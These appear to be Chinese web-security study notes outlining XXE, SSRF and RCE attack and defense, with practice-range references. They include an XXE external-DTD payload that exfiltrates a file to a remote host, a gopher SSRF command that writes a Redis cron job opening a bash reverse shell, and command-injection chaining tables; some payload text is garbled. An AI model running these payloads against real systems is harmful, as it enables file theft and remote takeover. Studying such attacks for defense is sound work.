第十五章:XXE漏洞攻防与其他漏洞全解析
XML外部实体注入(XXE)漏洞分析 XXE漏洞是利用XML解析器处理外部实体时的缺陷,攻击者通过构造恶意XML数据注入外部实体,可能导致服务器文件读取、内网探测、命令执行等危害。漏洞原理基于XML的DTD定义中外部实体引用功能,当服务器解析用户可控的XML数据时,若未禁用外部实体,攻击者可利用file://、http://等协议访问系统资源。典型利用方式包括读取本地文件、探测内网端口、执行系统命
·
XXE漏洞
-
XML基础
-
XXE漏洞定义和危害
-
XXE漏洞案例分析
-
XXE发现和利用
-
发现接口 (主动爬取, 被动流量记录)
-
拦截接口流量, 是否使用XML通信
-
构造外部实体内容, 查看是否解析
-
DNSlog盲打
-
HTTP发送数据
-
evil.dtd
<!ENTITY %file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/system.ini"> <!ENTITY%int "<!ENTITY % send SYSTEM'http://192.168.142.135:8080?p=%file;'>"> -
payload
<?xmlversion="1.0"> <!DOCTYPE ANY[ <!ENTITY% FlLE SYSTEM"http://attacker.com/evil.dtd"> %remote; %all; ]> <root>&send;</root> -
案例
-
-
-
XXE防御和修复
SSRF漏洞
-
概念
-
PHP curl 扩展
-
PHP其他函数
-
CURL其他协议
-
file: 查看文件
-
dict: 探测窗口
-
gopher: 反弹shell
-
是一种信息查找系统, 只支持文本, 不支持图像, 已被 http 替代
-
curl-v gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a%0a*/1bash -i>&/dev/tcp/192.168.142.135/44440>&1%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'
-
-
-
SSRF危害
-
SSRF常见场景
-
SSRF实际案例
-
如何发现SSRF漏洞
-
SSRF防御
远程代码执行渗透与防御 (RCE漏洞)
-
危害
-
实际漏洞
-
PHP RCE 涉及函数
-
Windows命令拼接符号
符号 含义 示例 &&左边的命令执行成功,右边的才执行 ping 127.0.0.1 && echo 'hello'&简单的拼接 ping 1111 & echo 'hello'|上一条命令的输出,作为下一条命令参数 netstat -ano | findstr 3306||左边的命令执行失败,右边的才执行 ping baidu.com | ping baidu.net -
Linux 命令拼接符号
符号 含义 示例 ;没有任何逻辑关系的连接符 &&左边的命令执行成功,右边的才执行 cp 1.txt 2.txt && cat 2.txt|上一条命令的输出,作为下一条命令参数 netstat -an | grep 3306||左边的命令执行失败,右边的才执行 cat 3.txt | cat 2.txt&任务后台执行,与nohup命令功能差不多 java -jar test.jar > log.txt & -
pikachu靶场
-
DVWA靶场
-
more/less搜索
特性 more less 导航 仅支持向下翻页 支持向上和向下自由翻页 搜索 仅支持向下搜索 支持双向搜索( /向下,?向上)内存使用 不预加载文件,内存占用少 按需加载,处理大文件效率高 功能丰富度 功能相对简单 功能强大,支持行号、多文件查看等 -
过滤 CAT
-
过滤空格
-
过滤目录分隔符
-
过滤运算符
-
RCE防御
更多推荐
所有评论(0)